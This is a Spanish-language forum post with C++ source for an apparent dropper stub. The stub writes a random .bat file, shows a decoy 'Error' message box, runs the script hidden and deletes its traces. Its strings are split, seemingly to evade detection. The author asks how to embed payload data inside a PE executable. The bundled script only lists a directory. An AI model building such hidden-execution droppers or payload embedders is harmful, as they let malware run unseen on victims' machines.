Bueno, estaba haciendo el stub 0.6 pero está medi complicado..
Lo inicié en c++:
#include <stdio.h>
#include <time.h>
#include <windows.h>
/*
// BOTONES
#define MB_OK 0 //botón "Aceptar"
#define MB_OKCANCEL 1 //botones "Aceptar" y "Cancelar"
#define MB_ABORTRETRYIGNORE 2 //botones "Anular", "Reintentar", "Omitir"
#define MB_YESNOCANCEL 3 //botones "Sí", "No" y "Cancelar"
#define MB_YESNO 4 //botones "Sí" y "No"
// ICONOS
#define MB_ICONINFORMATION 64 //ícono de información
#define MB_ICONEXCLAMATION 0x30 //ícono de alerta, signo de exclamación
#define MB_ICONERROR 16 //ícono de error, alto, tacha roja
#define MB_ICONQUESTION 32 //ícono de pregunta
*/
// Funciones
bool file_exists(char *url);
int main(void){
char path[256];
char pid_path[256];
char cmd_exec[256];
char *homepath = getenv("homepath");
char *homedrive = getenv("homedrive");
srand(time(NULL));
sprintf(path, "%s%s\\%d.bat", homedrive, homepath, rand());
sprintf(pid_path, "%s%s\\%d.pid", homedrive, homepath, rand());
sprintf(cmd_exec, "\"%s\" && echo. > \"%s\"", path, pid_path);
FILE *script;
script = fopen(path, "a");
if(!script){ return -1; }
// fprintf(script, buff);
fprintf(script,
"dir"
"> test."
"txt"
);
fclose(script);
MessageBox(NULL,
"ho"
"la"
,
"E"
"rror"
, MB_OK | MB_ICONERROR);
WinExec(cmd_exec, SW_HIDE);
while(1){
if(file_exists(pid_path)){
break;
}
}
remove(path);
remove(pid_path);
return EXIT_SUCCESS;
}
bool file_exists(char *url){
FILE *existe = fopen(url, "r");
if(existe){
fclose(existe);
return true;
}else{
return false;
}
}
La idea era que el BHC generara el stub.cpp y modificara los datos del script y del messagebox como opcional y con un compilador externo generar el stub pero el compilador resultó muy pesado con un chingo de librerías asi que no fue buena idea.
También tenía pensado generar el ejecutable y editar hexadecimalmente editar strings claves como {script} o {mensaje} pero hablando con algunos amigos que saben de reversing está bién cabrón.
La otra opción era poder incluir datos dentro del stub ejecutable al igual como ya lo he estado haciendo pero antes del termino del EOF tal como se dijo al comienzo pero ni idea de como hacerlo y habría que calcular el tamaño exacto del binario para no generar un ejecutable corrupto y poner los datos en un lugar que no interfiera con la estructura pe.
alguien tiene alguna idea?, estuve buscando ejemplos de packers pero todos tienen la misma siencia de poner los datos al final de EOF y no me sirven y no se me ocurre porque no tengo mcuha experiencia con la estructura pe aunque si lo entendiera no sabría donde inyectar valores muertos sin interferir en la ormal ejecución del ejecutable.